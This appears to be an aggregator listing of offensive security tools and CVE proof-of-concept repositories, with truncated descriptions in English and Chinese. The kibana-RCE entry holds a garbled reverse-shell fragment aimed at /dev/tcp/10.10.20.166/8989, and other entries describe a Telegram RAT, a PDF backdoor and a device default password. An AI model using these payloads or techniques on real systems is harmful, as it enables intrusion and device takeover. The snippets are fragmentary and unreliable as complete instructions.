bucky

Project is on temporary hold. Bucky Bucky is an automatic tool designed to discover S3 bucket misconfiguration, Bucky consists up of two modules Bucky firefox addon and Bucky backend engine. Bucky addon reads the source code of the webpages and uses Regular ExpressionRegex to match the S3 bucket...

Monitorizer

Monitorizer 终极子域名监控框架 安装 ❗ 免责声明 --- 管理员用户可在本地服务器上执行代码，请务必更改默认密码，否则请自行承担风险 使用 Docker root@kitploit: $ curl https://raw.githubusercontent.com/BitTheByte/Monitorizer/main/docker-compose.yml | docker compose -f - up 默认凭据： 一切就绪后，您将能够登录仪表盘：http://127.0.0.1:8000/dashboard/ 用户名| 电子邮件| 密码 ---|---|--- admi...

CVE-2026-8337

CVE-2026-8337 CVE-2026-8337 是 Concrete CMS 中影响 Survey（调查）功能的一个不安全的直接对象引用（IDOR）漏洞。与 CVE-2026-8347（涉及 Express 关联）不同，该漏洞允许未认证攻击者在特定站点配置下参与受限/私有调查。 概述 Concrete CMS 9.5.0 及更早版本在其调查功能中存在授权缺陷。如果网站同时配置了公开调查和受限（私有）调查，攻击者可以将受限调查的 optionID 提交到公开调查端点。 由于应用程序未能正确验证所提交的 optionID...

TelegramRAT

TelegramRAT root@kitploit: Cross Platform Telegram based RAT that communicates via telegram to evade network restrictions Note: root@kitploit: Use New Cross Platform RAT https://github.com/machine1337/pyFUD Installation: root@kitploit: 1. git clone https://github.com/machine1337/TelegramRAT.git 2...

nexmon

What is nexmon? Nexmon is our C-based firmware patching framework for Broadcom/Cypress WiFi chips that enables you to write your own firmware patches, for example, to enable monitor mode with radiotap headers and frame injection. Below, you find an overview what is possible with nexmon. This...

cs50-cyber-paloalto-oauth

CS50 网络安全期末项目 标题： Salesloft OAuth 漏洞利用与 CVE-2024-3400（影响 Palo Alto） 作者： Yafiya Darwesh（GitHub：Yafiah-Darwesh） YouTube 视频： https://youtu.be/CxQNj9qWoZ0?si=cHCwuTIY26YHJ8aw CVE： CVE-2024-3400 文件 presentation.pdf — 幻灯片 script.txt — 演讲笔记 摘要 简短说明：配置错误的 OAuth 令牌验证导致令牌伪造和跨 OAuth 集成的未授权访问（影响 Palo...

elevationstation

提权站（Elevation Station） 窃取和复制 SYSTEM 令牌，娱乐与盈利！我们复制东西，制作双胞胎副本，然后骑走。 你用 Metasploit 的 getsystem 和 SysInternals PSEXEC 获取过系统权限，对吧？那么，这里有一个类似的独立版本……但至少目前没有杀毒软件的问题 😸 此工具还能让你成为 TrustedInstaller ，类似于 Process Hacker/System Informer 的功能。此功能非常新，于 2023 年 8 月 12 日添加至最新代码版本和二进制版本！ 💵💲...

CVE-2022-41876

CVE-2022-41876 - eZ Platform user information disclosure A vulnerability emerged in eZ Platform letting an unauthenticated user access every contributor password's hash. This PoC enumerates every possible GraphQL path leading to a 'User' object, and then requests these paths to retrieve users'...

Embedded-PDF

通过PDF文件嵌入后门连接 😈 由 介绍 本演示视频展示了如何通过向目标发送看似无害的 PDF 文件（实际上嵌入了 payload）来控制受害者的设备。该漏洞已以 CVE-2010-1240 公开。 一旦受害者使用 Adobe Reader 打开 PDF，并被我们诱骗同意安全弹窗，我们就能通过反向 TCP 连接获得连接其设备的 meterpreter 会话。那时，他们所有的数据以及当前的行为都在我们的监控之下。 所需软件/工具列表 Metasploit Adobe Reader = 8.1.2 环境 攻击机 ：Kali Linux 2021.1 版本 目标操作系统 ：Windows 10...

Aegis

AEGIS Independent, OS-level observability for AI coding agents Watches what AI agents actually do on your machine — processes, files, network — from outside the agents, no hooks required. AEGIS is an independent, OS-level observer for AI agents. It watches agent processes, file access, and networ...

bLaCk-eye-RSA-Attacking-Toolkit-v0.1f-compiled

bLaCk-eye RSA 攻击工具包 v0.1f 描述 RAT v0.1f 为 Windows 编译 由于官方网站只提供源代码，不提供可执行文件。 如果你不想浪费时间在编译器和 miracl 库上，这个版本可直接使用。...

Exploit11.2

Exploit11.2 针对 iOS 11.2.x 的漏洞利用程序，由 ZIMPERIUM 开发，由我部分完成。基于 CVE-2018-4087 的沙箱逃逸。同时也会检查未完成的 root 权限获取。 你可以创建一个应用来在你的设备上运行该漏洞利用（如果你是一名开发者），并开启 root 权限 @。 感谢： •RaniXCH、Adam Donenfeld、Abraham Masri 以及 ZIMPERIUM 团队。 •th0ex 和 x0x8os 与我合作。...

kubebox

= Kubebox small^⎈❏^ Antonin Stefanutti https://github.com/astefanutti@astefanutti // Meta :description: Terminal and Web console for Kubernetes // Settings :idprefix: :idseparator: - :experimental: // Aliases ifdef::env-github :note-caption: ℹ️ :icon-check: ✔️ :icon-edit: ✏️ endif::...

CVE-2015-6668

CVE-2015-6668 - Job Manager IDOR 一个使用 Rust 编写的小型 CLI 工具，用于复现与 CVE-2015-6668（Job Manager //文件名.ext）。 攻击模式：暴力枚举/猜测常见的年/月文件夹和文件名变体，以定位可访问的文件。 指示器：针对构造的 URL 返回 HTTP 200 响应，表示文件可公开访问。 该工具执行简单的 GET 请求，并（默认）报告第一个发现的公开文件。 描述 该漏洞源于上传内容的访问控制薄弱。如果应用程序将文件存储在可预测的公开位置且未进行适当的授权检查，攻击者可以枚举可能的文件路径并通过 HTTP...

CVE-2025-63820

CVE-2025-63820 提交者：Nicola Giuffrida 信息 厂商： TOTOLINK 厂商网站： TOTOLINK 型号： A720R 固件版本： V4.1.5cu.630B20250509 固件下载地址： TOTOLINK 漏洞详情 登录控制面板时，用户名和密码以明文形式发送： root@kitploit: POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 73 X-Requested-With: XMLHttpRequest Accept-Language:...

CVE-2024-31719----AMI-Aptio-5-Vulnerability

AMI-Aptio--NvLock-Vulnerability 信息 CVE 编号: CVE-2024-31719 链接 漏洞类型: 不正确的访问控制 产品供应商: American Megatrends International, LLC. 产品: AMI Aptio - 5 攻击类型: 本地 攻击向量 攻击者可以轻松绕过 NvLock 模块对 NVRAM 的访问保护。 一旦保护被绕过，就可以轻松修改存储在 NVRAM 中的所有变量，包括管理员密码。 PoC...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to getshell...

Backdooring-ZMM100-FingerPrint-Devices

Hacking Embedded Devices : root@kitploit: Hardware platform ZMM100 : The fingerprint access control device Made by ZKSoftware. Default User/Password : root:solokey Protocol : Telnet 23. Scripts : pwnit.py : Automated tool for hacking devices. hell : second backdoor. leak-data.sh : third backdoor...

Forbidden-Buster

Forbidden Buster is a tool designed to automate various techniques in order to bypass HTTP 401 and 403 response codes and gain access to unauthorized areas in the system. This code is made for security enthusiasts and professionals only. Use it at your own risk. Features Probes HTTP 401 and 403...

c41n

c41n c41n 是一个自动化流氓接入点设置工具。 c41n 提供了多种类型的流氓接入点自动设置以及邪恶双子攻击的功能。c41n 可根据用户定义的参数（接口、接入点的名称和信道）设置接入点，为接入点配置 DHCP 服务器，并提供 HTTP 流量嗅探或凭据嗅探的强制门户设置能力。 安装： 安装包括克隆仓库、运行安装依赖的脚本（或手动安装），以及使 c41n 可执行。安装脚本适用于 apt 和 pacman 包管理器（仅 Debian 和 Arch）。 root@kitploit: git clone https://github.com/MS-WEB-BN/c41n/ cd c41n...